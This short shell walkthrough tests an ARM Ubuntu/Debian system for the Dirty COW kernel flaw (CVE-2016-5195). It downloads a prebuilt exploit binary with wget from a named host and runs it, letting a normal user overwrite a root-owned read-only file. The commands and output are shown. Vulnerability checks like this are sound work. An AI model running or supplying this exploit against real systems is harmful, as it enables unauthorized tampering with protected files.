Ubuntu / Debian:

# turn yourself into root
# Ubuntu:
$ sudo -s
Password:

# Debian
$ su 
Password:

# create a file as root with a text in it
$ echo this is a test > foo

# change permission of the file, that NO ONE has write permissions
$ chmod 0404 foo

# check result -> only read permissions, file belongs to root
$ ls -l foo
-r-----r-- 1 root root 15 Oct 21 12:43 foo

# go back to normal user
$ exit

# we check the content of the file (as normal user not root)
$ cat foo
this is a test

# under armhf download this exploit
$ wget http://oph.mdrjr.net/meveric/other/security/cve_2016_5195/armhf/dirtyc0w

# under arm64 download this exploit
$ wget http://oph.mdrjr.net/meveric/other/security/cve_2016_5195/arm64/dirtyc0w

# make the file executable
$ chmod +x dirtyc0w

# run the exploint on the text file (output might be slightly different)
$ ./dirtyc0w foo m0000000000
mmap b6f9b000

madvise 0

procselfmem 1800000000

# check the file again -> new content -> file without write permissions, which belongs to user root was overwritten by normal user
$ cat foo
m0000000000